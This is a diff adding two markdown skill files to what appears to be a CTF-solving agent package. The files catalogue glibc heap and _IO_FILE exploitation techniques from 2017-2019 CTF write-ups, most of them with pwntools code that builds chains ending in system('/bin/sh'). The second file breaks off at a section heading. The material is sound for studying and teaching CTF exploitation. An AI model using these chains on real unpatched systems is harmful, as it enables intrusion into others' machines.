ctf-agent 1.2.0

package/skills/ctf-pwn/heap-fsop.md

@@ -0,0 +1,285 @@
+# CTF Pwn - Heap FILE Structure Attacks
+
+> [!WARNING]
+> **LEGACY ENVIRONMENT NOTICE (glibc <= 2.27)**:
+> This document details historical FSOP techniques (2016-2018) targeting glibc 2.23 - 2.27 using `__free_hook` or `_IO_str_jumps`.
+> - **If target runs glibc >= 2.34 (Ubuntu 22.04/24.04+)**: `__free_hook` has been completely eliminated! You **MUST** switch to [heap-techniques.md](heap-techniques.md#house-of-apple-2--fsop-for-glibc-234-0xfun-2026) to utilize **House of Apple 2** (`_IO_wfile_overflow`).
+> - For additional FSOP chains and modern PoCs: refer to [exploit-databases.md](../../references/exploit-databases.md).
+
+FILE-structure (_IO_FILE) exploitation for libc 2.23-2.27+: fastbin→stdout vtable hijack, _IO_buf_base null byte overwrites, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on FILE fields, and menu-driven UAF / refcount bugs that land through these FILE primitives. For classical heap attacks (House of *, unlink, tcache, musl), see [heap-techniques.md](heap-techniques.md).
+
+## Table of Contents
+- [Fastbin stdout Vtable Two-Stage Hijack for PIE + Full RELRO (ASIS CTF 2017)](#fastbin-stdout-vtable-two-stage-hijack-for-pie--full-relro-asis-ctf-2017)
+- [_IO_buf_base Null Byte Overwrite for stdin Hijack (Tokyo Westerns 2017)](#_io_buf_base-null-byte-overwrite-for-stdin-hijack-tokyo-westerns-2017)
+- [glibc 2.24+ _IO_FILE Vtable Validation Bypass (HITCON 2017)](#glibc-224-_io_file-vtable-validation-bypass-hitcon-2017)
+- [Unsorted Bin Attack on stdin _IO_buf_end (HITCON 2017)](#unsorted-bin-attack-on-stdin-_io_buf_end-hitcon-2017)
+- [Unsorted Bin Corruption via mp_ Structure (HITCON 2017)](#unsorted-bin-corruption-via-mp_-structure-hitcon-2017)
+- [realloc(ptr, 0) as free() for UAF (AceBear 2018)](#reallocptr-0-as-free-for-uaf-acebear-2018)
+- [Single-Byte Reference Counter Wraparound to UAF (WhiteHat Grand Prix 2018)](#single-byte-reference-counter-wraparound-to-uaf-whitehat-grand-prix-2018)
+
+---
+
+## Fastbin stdout Vtable Two-Stage Hijack for PIE + Full RELRO (ASIS CTF 2017)
+
+**Pattern:** When PIE and Full RELRO block GOT overwrite, target libc's stdout FILE structure via fastbin attack, using a two-stage vtable hijack.
+
+```python
+from pwn import *
+
+# Stage 1: Fastbin double-free targeting fake chunk inside stdout
+# Use 0x7f byte in libc stdout region as fake chunk size (matches 0x70 fastbin)
+fake_chunk_addr = libc.sym['_IO_2_1_stdout_'] + 0x91  # contains 0x7f byte
+
+# Double-free in 0x70 fastbin
+alloc_a = malloc(0x60)
+alloc_b = malloc(0x60)
+free(alloc_a)
+free(alloc_b)
+free(alloc_a)  # double-free: fastbin 0x70 = [a -> b -> a]
+
+# Redirect fastbin to stdout region
+malloc(0x60, p64(fake_chunk_addr))  # a's fd -> fake chunk in stdout
+malloc(0x60)                         # returns b
+malloc(0x60)                         # returns a again
+
+# Stage 2a: First vtable overwrite → gets()
+# rdi points to stdout struct, so gets(stdout) reads input into stdout
+fake_stdout_chunk = malloc(0x60)     # returns fake chunk overlapping stdout
+write_to(fake_stdout_chunk, p64(gets_addr))  # vtable → gets
+
+# Stage 2b: gets() overwrites stdout vtable again → system()
+# Next puts() call triggers: vtable lookup → gets(stdout)
+# gets() reads from stdin into the stdout struct, overwriting vtable again
+# Input: "1\x80;/bin/sh;" — new vtable points to system()
+# After gets() returns, next output call triggers system()
+```
+
+**Key insight:** The 0x7f byte naturally present in libc's stdout region satisfies fastbin size validation for the 0x70 bin. Two-stage hijack: first redirect vtable to `gets()` (since rdi=stdout FILE*), then `gets()` reads a second vtable pointing to `system()` along with the command string. This technique works even with PIE + Full RELRO because it targets libc's writable data segment, not the GOT.
+
+**When to recognize:** Challenge has PIE + Full RELRO, with a heap UAF or double-free. The 0x7f byte in libc's FILE structures is a universal fastbin target. Check `_IO_2_1_stdout_` region for 0x7f bytes at aligned offsets suitable as fake chunk sizes.
+
+**References:** ASIS CTF 2017
+
+---
+
+## _IO_buf_base Null Byte Overwrite for stdin Hijack (Tokyo Westerns 2017)
+
+**Pattern:** A null-byte (off-by-one) heap overflow corrupts the least significant byte of `_IO_buf_base` in stdin's `_IO_FILE` structure. This redirects the stdin input buffer pointer to `_short_buf` — a small internal buffer that lies within the FILE struct itself. Subsequent `scanf`/`fgets` calls then write attacker input directly into the FILE structure, enabling overwrite of `_IO_buf_base`/`_IO_buf_end` to arbitrary addresses for a full write primitive.
+
+**How it works:**
+```c
+// Null byte overwrite targets _IO_buf_base's LSB
+// Before: _IO_buf_base = 0x7f...XX00  (points to heap input buffer)
+// After:  _IO_buf_base = 0x7f...0000  (points into FILE struct itself,
+//                                       landing near _short_buf)
+// Next scanf() / fgets() reads input into the FILE struct
+// Overwrite _IO_buf_base/_IO_buf_end fields with arbitrary addresses
+// Now stdin reads from attacker-controlled memory address
+```
+
+**Exploitation chain:**
+```python
+# 1. Arrange heap: allocation immediately before stdin's _IO_buf_base
+#    (requires heap grooming so chunk is adjacent to FILE struct)
+
+# 2. Null-byte overflow: write one 0x00 byte past chunk boundary
+#    → corrupts _IO_buf_base LSB → points into FILE struct
+
+# 3. Next read (scanf/fgets): input written into FILE struct fields
+#    → overwrite _IO_buf_base = target_addr, _IO_buf_end = target_addr + size
+
+# 4. Next read: stdin reads from target_addr → arbitrary write primitive
+#    → overwrite __free_hook with system() or one_gadget
+
+# 5. Trigger: call a function that invokes free() with a controlled pointer
+#    → system("/bin/sh")
+```
+
+**Key insight:** Null-byte overflow into stdin's `_IO_buf_base` relocates the input buffer into the FILE structure itself, providing arbitrary write via standard I/O functions. The `_short_buf` field within the FILE struct is the natural landing target when the LSB is zeroed.
+
+**References:** Tokyo Westerns CTF 2017
+
+---
+
+## glibc 2.24+ _IO_FILE Vtable Validation Bypass (HITCON 2017)
+
+**Pattern:** glibc 2.24+ validates vtable pointers against the `_IO_vtables` section, rejecting pointers outside that range. Bypass: use unchecked sub-function entries reachable via two-hop dereference. Arrange two heap pointers 0x10 bytes apart (via unsorted bin fd/bk). The first pointer is set to `valid_vtable_addr - 0x18`; the second to `system()`. `_IO_flush_all_lockp` dereferences `*(addr + 0xd8) + 0x18`, landing in an unchecked sub-function that calls `*(addr + 0xe8)`.
+
+**How the two-hop bypass works:**
+```c
+// _IO_flush_all_lockp calls:
+//   fp->vtable->_IO_overflow(fp)
+// With a valid vtable addr but offset trick:
+//   vtable[offset] → points to sub-function outside vtable validation
+//   sub-function dereferences further → calls system()
+
+// Heap layout using unsorted bin fd/bk (0x10 apart):
+//   [heap + 0x00]: valid_vtable_addr - 0x18   (passes vtable check at offset 0xd8)
+//   [heap + 0x10]: system()                   (called via *(addr + 0xe8) dereference)
+```
+
+**Setup:**
+```python
+# Place two pointers 0x10 apart using unsorted bin fd/bk as write targets
+# unsorted bin attack: write main_arena+88 to target, leak heap/libc
+# Craft FILE struct with _flags = " sh\x00" for system() argument
+# Trigger exit() → _IO_flush_all_lockp → two-hop call → system("sh")
+```
+
+**Key insight:** Vtable validation checks the address range but not indirect entries reachable via sub-functions — two-hop call chains bypass `__IO_vtable_check`. The fd/bk pointers of a chunk in the unsorted bin sit exactly 0x10 bytes apart, making them natural targets for the two adjacent pointer slots needed.
+
+**References:** HITCON CTF 2017
+
+---
+
+## Unsorted Bin Attack on stdin _IO_buf_end (HITCON 2017)
+
+**Pattern:** An off-by-one NULL byte creates overlapping heap chunks. Free into the unsorted bin, then use the unsorted bin attack (corrupting `bk` of an unsorted bin chunk) to overwrite `_IO_buf_end` of stdin's FILE structure with a large libc address (main_arena+88). The next `scanf` call then reads attacker data into libc's stdin buffer region — enabling overwrite of `__malloc_hook` with a one_gadget.
+
+**Exploit chain:**
+```python
+# 1. Off-by-one NULL: corrupt next chunk's PREV_INUSE, set prev_size
+#    → create overlapping chunks via heap consolidation
+
+# 2. Free victim into unsorted bin
+#    → victim->fd = main_arena+88, victim->bk = main_arena+96
+
+# 3. Unsorted bin attack: set victim->bk = &stdin._IO_buf_end - 0x10
+#    When malloc() removes victim from unsorted bin:
+#    → victim->bk->fd = victim   (writes heap address → _IO_buf_end)
+#    But for full attack: set bk = &target - 0x10 to write main_arena+88 there
+
+# 4. stdin._IO_buf_end is now a large value → next scanf reads huge input
+#    → attacker data written into libc stdin buffer region
+#    → __malloc_hook in that region gets overwritten with one_gadget
+
+# 5. Trigger: any malloc() call → __malloc_hook → one_gadget → shell
+```
+
+**Key insight:** Unsorted bin attack on `_IO_buf_end` causes `scanf` to read from an attacker-controlled buffer region inside libc's data segment. Since `__malloc_hook` resides near the stdin buffer in libc, a single large read can overwrite it with a one_gadget address.
+
+**References:** HITCON CTF 2017
+
+---
+
+## Unsorted Bin Corruption via mp_ Structure (HITCON 2017)
+
+**Pattern:** glibc's `mp_` (`malloc_par`) global structure lies near the unsorted bin in libc's data segment. A heap overflow combined with unsorted bin corruption overwrites `mp_->bk` with an address inside `mp_`. The `mp_` structure contains fields that, when interpreted as a free chunk header, pass unsorted bin validation (`size < system_mem`). Allocating from this "chunk" grants write access inside `mp_`, enabling overwrite of `__malloc_hook`. Requires partial ASLR brute-force (1/16 chance) for the heap address alignment.
+
+**Why mp_ works:**
+```c
+// mp_ layout (glibc 2.23, near unsorted bin in libc BSS):
+// struct malloc_par {
+//   unsigned long  trim_threshold;   // offset 0x00 — large value, passes size check
+//   unsigned long  top_pad;          // offset 0x08
+//   ...
+//   unsigned long  system_mem;       // offset 0x48 — must be > fake chunk size
+// };
+// mp_.trim_threshold interpreted as chunk size → satisfies unsorted bin checks
+// malloc from mp_-as-chunk returns memory overlapping mp_ fields
+// Write __malloc_hook offset within mp_ → control next malloc → one_gadget
+```
+
+**Exploitation:**
+```python
+# Heap overflow: corrupt unsorted bin chunk's bk to point into mp_
+corrupted_bk = mp_addr + FAKE_CHUNK_OFFSET  # offset where size field looks valid
+
+# Trigger unsorted bin traversal: malloc() of appropriate size
+# → unsorted bin unlinks fake chunk at mp_
+# → returns pointer into mp_ data
+# Write one_gadget to __malloc_hook offset within returned chunk
+malloc(size)  # returns mp_+0x10
+write_to_result(one_gadget)  # overwrites __malloc_hook
+
+# Trigger: next malloc() → __malloc_hook → one_gadget → shell
+```
+
+**Key insight:** glibc's `mp_` global structure passes unsorted bin validation naturally — its `trim_threshold` field serves as a convincing fake chunk size. A fake free chunk planted via unsorted bin corruption there enables allocation directly into glibc metadata, bypassing the need for any heap-side fake chunk construction.
+
+**References:** HITCON CTF 2017
+
+---
+
+## realloc(ptr, 0) as free() for UAF (AceBear 2018)
+
+**Pattern:** `realloc(ptr, 0)` behaves like `free(ptr)` in many glibc versions, returning the chunk to the freelist while the application may retain the old pointer — creating a use-after-free.
+
+**How it works:**
+```c
+// C standard says realloc(ptr, 0) is implementation-defined
+// In glibc: realloc(ptr, 0) calls free(ptr) and returns NULL
+// If the application doesn't check the return value:
+void *ptr = malloc(0x80);
+ptr = realloc(ptr, 0);    // ptr is now NULL, chunk is freed
+// But if the app stores the old pointer separately:
+void *saved = ptr;
+ptr = realloc(ptr, 0);    // freed, but saved still points to freed chunk
+// saved is now a dangling pointer → UAF
+```
+
+**Exploitation:**
+```python
+from pwn import *
+
+# Step 1: Allocate a chunk
+add(0, 0x80, b"AAAA")  # chunk at index 0
+
+# Step 2: Trigger realloc with size 0
+# Internally calls realloc(ptr, 0) which frees the chunk
+edit(0, size=0)  # realloc(ptr, 0) = free(ptr)
+# ptr is now freed but the application still holds the pointer at index 0
+
+# Step 3: Allocate new chunk that reuses the freed memory
+add(1, 0x80, b"BBBB")  # gets the same address as freed chunk
+
+# Step 4: Read through original index 0 → reads attacker-controlled data from index 1
+# Or: write through index 0 to corrupt index 1's chunk
+view(0)  # UAF read — sees "BBBB" written by index 1
+```
+
+**Tcache variant (glibc 2.26+):**
+```python
+# realloc(ptr, 0) puts the chunk in the tcache bin
+# Subsequent malloc of the same size returns the same chunk
+# Double reference enables tcache poisoning:
+
+add(0, 0x80, b"AAAA")
+edit(0, size=0)           # free via realloc → tcache[0x90]
+add(1, 0x80, p64(target)) # reuse freed chunk, write fake fd pointer
+# If index 0 still references the chunk:
+edit(0, size=0)           # double-free via realloc → tcache poisoning
+add(2, 0x80, b"CCCC")    # returns freed chunk
+add(3, 0x80, payload)    # returns target address → arbitrary write
+```
+
+**Key insight:** `realloc(ptr, 0)` is implementation-defined. In glibc, it frees the block and returns NULL. If the application doesn't check the return value or still uses the old pointer, this creates a UAF. Look for `realloc` calls where the size parameter is user-controlled — setting it to 0 triggers the free behavior without going through the application's normal delete/free path, potentially bypassing reference counting or pointer nullification in the delete handler.
+
+**When to recognize:** Challenge uses `realloc` for resize operations and the size is user-controlled. The "edit" or "resize" functionality internally calls `realloc` — check if size=0 is handled specially or just passed through. Also check if the return value of `realloc` is used to update the stored pointer (if not, the old pointer becomes dangling).
+
+**References:** AceBear 2018
+
+---
+
+## Single-Byte Reference Counter Wraparound to UAF (WhiteHat Grand Prix 2018)
+
+**Pattern:** A struct stores its own reference count in a `uint8_t` field. The object is freed only when `refcount == 0`, but because the counter wraps at 256, calling the `addref()` path 256 times brings `refcount` back to zero while every outstanding handle still holds a live pointer. The next call to `release()` frees the object — all other handles become dangling.
+
+**Exploit sketch:**
+```c
+struct Book {
+    uint8_t refcount;     // 1 byte — vulnerable
+    char title[32];
+    void (*read)(struct Book*);
+};
+
+// 1. create(h0)                    refcount = 1
+// 2. dup(h0) → h1 ... h256         refcount wraps 1 → 2 → ... → 0
+// 3. release(h1)                   refcount = 255 (underflow) → object freed
+// 4. Heap reallocation fills the same chunk with attacker data
+// 5. read(h0)                      calls attacker-controlled vtable pointer
+```
+
+**Key insight:** Any counter that guards lifetime must be wide enough to exceed the number of handles the program can create in one session. `uint8_t` refcounts are always a red flag — verify that the `addref` path either saturates (stays at 255) or uses a wider type. The exploit only needs 256 `addref` calls and one extra `release`, so even heavily rate-limited handle APIs remain reachable.
+
+**References:** WhiteHat Grand Prix 2018 — writeup 10809

package/skills/ctf-pwn/heap-techniques-2.md

@@ -0,0 +1,333 @@
+# Heap Exploitation Techniques (Part 2)
+
+Continuation of [heap-techniques.md](heap-techniques.md). Part 2 collects CTF-specific UAF, tcache, and custom-allocator variants drawn from individual writeups.
+
+## Table of Contents
+- [UAF Vtable Pointer Encoding Shell Argument (BCTF 2017)](#uaf-vtable-pointer-encoding-shell-argument-bctf-2017)
+- [Uninitialized Chunk Residue Pointer Leak (picoCTF 2018)](#uninitialized-chunk-residue-pointer-leak-picoctf-2018)
+- [tcache strcpy Null-Byte Overflow + Backward Consolidation (HITCON 2018)](#tcache-strcpy-null-byte-overflow--backward-consolidation-hitcon-2018)
+- [Adjacent-Struct fn-Pointer Overflow for Libc Leak + GOT Overwrite (RITSEC 2018)](#adjacent-struct-fn-pointer-overflow-for-libc-leak--got-overwrite-ritsec-2018)
+- [Hidden Menu Option 1337 for Tcache Poisoning (FireShell 2019)](#hidden-menu-option-1337-for-tcache-poisoning-fireshell-2019)
+- [Tcache Double-Free + Fake _IO_FILE Vtable Stdout Hijack (BCTF 2018)](#tcache-double-free--fake-_io_file-vtable-stdout-hijack-bctf-2018)
+- [Tcache-to-Fastbin Promotion Cross-Bin Attack (BCTF 2018)](#tcache-to-fastbin-promotion-cross-bin-attack-bctf-2018)
+- [6-Bit Index OOB + written_bytes Accumulator for Fn-Pointer Increment (Codegate 2019)](#6-bit-index-oob--written_bytes-accumulator-for-fn-pointer-increment-codegate-2019)
+- [IS_MMAPED Bit-Flip for Unsorted Bin Leak on Calloc'd Chunk (0CTF 2017)](#is_mmaped-bit-flip-for-unsorted-bin-leak-on-callocd-chunk-0ctf-2017)
+- [Filename-Regex-Constrained Fastbin via LSB-Only Heap Pointer Overwrite (BSidesSF 2019)](#filename-regex-constrained-fastbin-via-lsb-only-heap-pointer-overwrite-bsidessf-2019)
+- [Custom Allocator Unsafe Unlink to GOT (DEF CON Qualifier 2014)](#custom-allocator-unsafe-unlink-to-got-def-con-qualifier-2014)
+
+For FILE-structure (_IO_FILE) exploitation see [heap-fsop.md](heap-fsop.md). For the foundational houses (Apple 2, Einherjar, Orange, Spirit, Lore, Force), unsafe unlink, tcache stashing, and musl, see [heap-techniques.md](heap-techniques.md).
+
+---
+
+## UAF Vtable Pointer Encoding Shell Argument (BCTF 2017)
+
+**Pattern:** After UAF, heap spray fills memory with `system()` addresses at a 3-byte offset. The vtable pointer address `0x??006873` encodes ASCII `"sh\x00"` at the object start, so calling `system()` through the vtable executes `system("sh")`.
+
+```python
+from pwn import *
+
+# Heap spray: fill 16MB with system() address at offset +3
+# Each spray chunk: 3 bytes padding + 8 bytes system_addr, repeated
+spray_unit = b"\x00" * 3 + p64(system_addr)
+spray_data = spray_unit * (0x1000000 // len(spray_unit))
+
+# Trigger heap spray via application interface
+for i in range(spray_count):
+    alloc(spray_data[:chunk_size])
+
+# UAF object at address 0xXX006873
+# Bytes at object start: 73 68 00 XX = "sh\x00..."
+# When vtable call dispatches: system(this) → system("sh")
+
+# Trigger: free the target object, then invoke its virtual method
+free(target_obj)
+trigger_vtable_call(target_obj)  # calls system("sh")
+```
+
+**Key insight:** The vtable pointer value itself serves as the string argument to `system()`. By arranging the heap spray so objects land at addresses containing `0x6873` (ASCII "sh") in the low bytes, the object's address doubles as a valid shell command string. This eliminates the need for a separate controlled string — the pointer IS the argument.
+
+**When to recognize:** UAF on a C++ object with virtual methods, where you control heap layout but not the exact content at the object's `this` pointer. If `system()` is called with `this` as the first argument (common in vtable dispatch), the object's address just needs to decode as a valid command string.
+
+**References:** BCTF 2017
+
+See [heap-fsop.md](heap-fsop.md) for FILE-structure (_IO_FILE) exploitation: fastbin stdout vtable hijack, _IO_buf_base null-byte overwrite, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on stdin FILE fields, and related UAF/refcount bugs.
+
+---
+
+## Uninitialized Chunk Residue Pointer Leak (picoCTF 2018)
+
+**Pattern:** A contact manager allocates a struct `{name, bio}` on the heap but only writes `name`, leaving `bio` uninitialized. After a delete-then-create cycle the new allocation reuses a chunk that still holds a stale pointer from a previous contact. The application's `print_contact()` dereferences `bio`, turning the leftover allocator residue into a controlled heap/libc read.
+
+```c
+struct contact { char *name; char *bio; };    // bio never zeroed
+
+void create() {
+    struct contact *c = malloc(sizeof *c);
+    c->name = malloc(NAME_SZ);
+    read_line(c->name, NAME_SZ);
+    // bio left uninitialized!
+}
+
+void print(struct contact *c) { puts(c->bio); }   // leaks stale pointer target
+```
+
+```python
+from pwn import *
+io = process("./contacts")
+
+# 1. Prime the heap: create a contact whose name chunk will later be reused
+#    as the struct for the next contact.
+io.sendline("create");  io.sendline("A" * 0x18)
+io.sendline("delete 0")
+
+# 2. Create a new contact — it grabs the previously freed chunk. The old
+#    name bytes now live in the struct's `bio` field.
+io.sendline("create");  io.sendline("B" * 0x10)
+
+# 3. Print → leaks the residue as if it were a bio string.
+io.sendline("print 0")
+leak = u64(io.recvline().ljust(8, b"\x00"))
+log.success(f"heap leak: {leak:#x}")
+```
+
+**Key insight:** Uninitialized fields are write-what-where primitives in reverse — the attacker does not choose *what* the field holds but can *place* chunks so that useful bytes end up in it. Target any struct field that is (a) read later without being written and (b) subject to chunk reuse. Common culprits: manually-written `malloc` + `read_line` pairs, C++ classes with members that skip initialisation in non-default constructors, and zero-allocated-then-partially-written caches.
+
+**References:** picoCTF 2018 — Contacts, writeup 11585
+
+---
+
+## tcache strcpy Null-Byte Overflow + Backward Consolidation (HITCON 2018)
+
+**Pattern:** `strcpy(dst, user_name)` appends a trailing NUL that falls one byte past the allocated chunk, clearing `PREV_INUSE` on the next chunk's size field. With a forged `prev_size`, `free()` triggers backward consolidation across a tcache-resident chunk, producing two overlapping heap regions. Splitting out a remainder chunk keeps main_arena pointers in the `fd`/`bk` of one of the overlapping allocations, giving an unsorted-bin-style libc leak in the tcache era.
+
+```c
+// Allocation pattern (glibc 2.27 tcache)
+char *a = malloc(0xF8);            // victim 1
+char *b = malloc(0x18);            // small header chunk with PREV_INUSE
+strcpy(a, payload);                // 0xF8 bytes + '\0' overflows into b->size
+```
+
+```python
+from pwn import *
+
+io = process("./children_tcache")
+libc = ELF("./libc-2.27.so")
+
+# 1. Zero the 0xda memset residue with repeated smaller allocations.
+for size in (0x70, 0x60, 0x50, 0x40):
+    io.sendline("add"); io.sendline(str(size)); io.sendline(b"\x00" * size)
+
+# 2. Set up two adjacent chunks:
+io.sendline("add"); io.sendline("0xF8"); io.sendline(b"A" * 0xF8)     # victim 1
+io.sendline("add"); io.sendline("0x18"); io.sendline(b"B" * 0x18)     # header
+
+# 3. Free victim 1 into the smallbin (needs a > 0x408 sibling to bypass tcache).
+io.sendline("add"); io.sendline("0x420"); io.sendline(b"X" * 0x420)
+io.sendline("del 0")                         # smallbin → keeps libc fd/bk
+
+# 4. Overflow via strcpy: clears PREV_INUSE, forges prev_size → backward consolidate
+overflow = b"A" * 0xF0 + p64(0x100)           # fake prev_size
+io.sendline("edit 1"); io.sendline(overflow)
+io.sendline("del 1")                         # consolidate: now we overlap
+
+# 5. Re-allocate the coalesced region and read the libc pointer that still
+#    lives in the old fd/bk location.
+io.sendline("add"); io.sendline("0x110"); io.sendline(b"P" * 0x10)
+io.sendline("show 0")
+leak = u64(io.recvline().strip().ljust(8, b"\x00"))
+libc.address = leak - (libc.symbols["main_arena"] + 0x60)
+log.success(f"libc base {libc.address:#x}")
+```
+
+**Key insight:** tcache bypasses most pre-2.27 consolidation tricks, but the `strcpy` null-byte overflow remains viable because it acts on the *next chunk's header*, not the current chunk's in-use flag. Combined with careful zeroing of glibc 2.26+ memset residue (the `0xda` pattern glibc uses on free), you can re-use classic off-by-one-null techniques even in a tcache world. The magic sizes are: large enough to skip the tcache (>0x408 for the freed chunk), small enough to land next to the overflow target.
+
+**References:** HITCON CTF 2018 — Children Tcache, writeup 11929
+
+---
+
+## Adjacent-Struct fn-Pointer Overflow for Libc Leak + GOT Overwrite (RITSEC 2018)
+
+**Pattern:** Go binary compiled with `cgo` places a name buffer immediately adjacent to a struct whose first field is a function pointer (C-style vtable). Overflowing the name field corrupts the next struct's function pointer. First overwrite → redirect the call to `puts(got['free'])` to leak libc. Second overwrite → point free's GOT entry at `system`, then free a chunk whose contents are `"/bin/sh"`.
+
+```python
+# 1. Leak libc
+payload = b'A'*name_size + p64(puts_plt) + p64(pop_rdi_ret) + p64(free_got)
+io.send(payload); io.recvuntil(b'name: '); libc = u64(io.recv(6).ljust(8, b'\x00'))
+
+# 2. Overwrite free@GOT with system
+libc_base = libc - libc_syms['puts']
+io.send(b'A'*name_size + p64(libc_base + libc_syms['system']))
+
+# 3. Free a chunk whose contents are "/bin/sh\x00"
+io.sendline('/bin/sh')
+io.sendline('delete 0')
+```
+
+**Key insight:** cgo binaries often have C-style structs next to Go-allocated buffers, so classic C-heap techniques still work against Go servers. Look for `GoString` + `char*` + function pointer patterns in the decompile; the layout is usually deterministic.
+
+**References:** RITSEC CTF 2018 — Yet Another HR Management Framework, writeups 12283, 12287
+
+---
+
+## Hidden Menu Option 1337 for Tcache Poisoning (FireShell 2019)
+
+**Pattern:** The visible menu caps allocations at a few chunks, but disassembly reveals an undocumented option (`1337`) that calls `malloc` and `edit` without updating the counter — effectively giving you unlimited allocations. Combined with a vanilla tcache UAF, this lets you flood the tcache, overwrite an entry's `fd` with a BSS target, and `malloc` arbitrary addresses.
+
+```python
+def hidden(sz, data):
+    p.sendlineafter(b'>', b'1337')
+    p.sendlineafter(b'size:', str(sz).encode())
+    p.sendafter(b'data:', data)
+
+free(0); free(1)
+hidden(0x20, p64(bss_target))   # tcache fd → bss_target
+_ = malloc(0x20)                # first chunk back
+shell = malloc(0x20)            # returns bss_target
+```
+
+**Key insight:** Always dump the menu parser for undocumented branches before assuming a challenge is "rate-limited". Numeric options like `1337`, `9999`, `0xdead` are classic bypasses that the author ships to debug the challenge.
+
+**References:** FireShell CTF 2019 — babyheap, writeup 12962
+
+---
+
+## Tcache Double-Free + Fake _IO_FILE Vtable Stdout Hijack (BCTF 2018)
+
+**Pattern:** Small allocation budget, fastbin + tcache available. Double-free a fastbin chunk into the tcache, malloc to obtain a tcache entry that points at `_IO_2_1_stdout_`, then overwrite stdout's `vtable` pointer to a fake jump table where `_IO_file_overflow` → `system`. Next printf call executes `system("/bin/sh")`.
+
+```python
+# 1. Free A twice (bypasses fastbin double-free via tcache)
+free(A); free(A)
+# 2. Malloc returns A; write stdout addr as next fd
+edit(A, p64(stdout))
+# 3. Next malloc returns stdout
+malloc()
+malloc()  # returns &stdout
+edit(stdout, fake_file_struct(vtable=fake_vt))
+```
+
+Fake vtable entry: slot for `_IO_file_overflow = system`.
+
+**Key insight:** tcache skips fastbin safety checks, so a double-free directly into the tcache works without the usual size-field trickery. The resulting write-where primitive reaches `_IO_2_1_stdout_` in libc trivially.
+
+**References:** BCTF 2018 — easiest, writeup 12489
+
+---
+
+## Tcache-to-Fastbin Promotion Cross-Bin Attack (BCTF 2018)
+
+**Pattern:** Only ~2 allocations available — too few for a traditional tcache dup. Instead, fill tcache, overflow into fastbin, craft chunk whose header points inside a known structure. When fastbin allocation promotes back into tcache (after a future free), malloc returns the header address.
+
+```python
+for _ in range(7): free(tcache_chunks[_])   # fill tcache bin
+free(fastbin_chunk)                         # goes to fastbin
+edit(fastbin_chunk, p64(target_hdr))        # poison fastbin fd
+# Drain tcache so next free of fastbin_chunk promotes:
+for _ in range(7): malloc(size)
+free(fastbin_chunk)                         # now lands in tcache
+malloc(size)                                 # returns tcache head = target_hdr
+```
+
+**Key insight:** tcache and fastbin share size classes at certain boundaries; a chunk that starts in one often migrates to the other. Use that promotion as an additional reallocation step when budget is tight.
+
+**References:** BCTF 2018 — three/houseofatum, writeups 12476, 12477
+
+---
+
+## 6-Bit Index OOB + written_bytes Accumulator for Fn-Pointer Increment (Codegate 2019)
+
+**Pattern (archiver):** C++ compressor keeps a 48-element QWORD cache (`cached_qwords[48]`) but the cache-read/write opcodes accept a 6-bit index (0-63), giving OOB access into the surrounding object (`buf`, `buf_size`, `buf_offset_Q`, `written_bytes`, `print_uncomp_fsz`). All operations are QWORD-aligned so you cannot directly slice a function pointer; instead, abuse the unused `written_bytes` counter as a programmable offset accumulator to turn `print_uncomp_fsz` into `cat_flag()`.
+
+```python
+# OOB write primitives (a2 in [0, 0x3f]):
+#   cache_qword(a2, k)            -> cached_qwords[a2] = buf[buf_off_Q - k]
+#   save_cached_qword_to_comp(a2) -> buf[++off] = cached_qwords[a2]; written_bytes += 8
+
+# 1. Preallocate buf so it is not realloc'd later (avoids data loss).
+# 2. Save print_uncomp_fsz into buf via OOB save_cached_qword_to_comp(0x34).
+# 3. Move it back into written_bytes via OOB cache_qword(0x33, 1).
+# 4. Emit 0x38 cached QWORDs -> written_bytes += 0x38*8 == 0x1c0 (offset to cat_flag).
+# 5. Save the now-incremented written_bytes into buf, then OOB write it back
+#    on top of print_uncomp_fsz. Trigger an error path so main() calls it.
+payload += save_cached_qword_to_comp(0x34)       # fn ptr -> buf
+payload += cache_qword(0x33, 1)                  # buf -> written_bytes
+payload += save_cached_qword_to_comp(0) * 0x38   # written_bytes += 0x1c0
+payload += save_cached_qword_to_comp(0x33)       # written_bytes -> buf
+payload += cache_qword(0x34, 1)                  # buf -> print_uncomp_fsz
+```
+
+**Key insight:** When OOB writes are QWORD-aligned but the target function sits only `N*0x10` bytes from an existing pointer, look for a process-local counter in the same struct that is incremented by a known stride. Treating that counter as an arithmetic shim turns an aligned-write primitive into a byte-precise pointer increment, bypassing PIE without ever leaking a code address.
+
+**References:** Codegate CTF 2019 Preliminary — archiver, writeup 13014
+
+---
+
+## IS_MMAPED Bit-Flip for Unsorted Bin Leak on Calloc'd Chunk (0CTF 2017)
+
+**Pattern (BabyHeap2017):** Heap overflow in a full-mitigation binary (Full RELRO, canary, NX, PIE, ASLR). `calloc` normally zeroes freshly-allocated chunks, blocking the classic unsorted-bin leak where fd/bk overlap reusable data. However, when the chunk's `IS_MMAPED` flag is set, glibc skips zeroing. Overflow the preceding chunk to flip `IS_MMAPED` on a freed unsorted-bin chunk, then re-allocate it with `calloc` — the arena pointers in fd/bk survive and leak libc.
+
+```python
+# Layout: A (0x80) | B (0x80 freed -> unsorted) | C (victim with overflow)
+# Overflow from A into B's chunk header: set size |= IS_MMAPED (bit 1 of size field)
+edit(A, b'A'*0x80 + p64(0) + p64(0x91 | 0x2))    # prev_size=0, size=0x91|IS_MMAPED
+
+# calloc-reallocate B: because IS_MMAPED is set, calloc does NOT memset it.
+# B's fd/bk still point to main_arena + 0x58 -> libc leak via view(B).
+malloc(0x80)                   # returns B with libc pointer intact in first 16 bytes
+libc_base = leak - main_arena_offset
+
+# Follow-up: fastbin dup -> __malloc_hook -> one_gadget
+```
+
+**Key insight:** `calloc`'s zeroing is conditional on the allocator path. Setting `IS_MMAPED` via heap overflow tricks `calloc` into treating the reused chunk as freshly mmap'd and skipping `memset`, preserving any arena pointers previously written into fd/bk. A 2-bit metadata overwrite defeats the "calloc blocks leaks" assumption.
+
+**References:** 0CTF 2017 Quals — babyheap, writeup 13262
+
+---
+
+## Filename-Regex-Constrained Fastbin via LSB-Only Heap Pointer Overwrite (BSidesSF 2019)
+
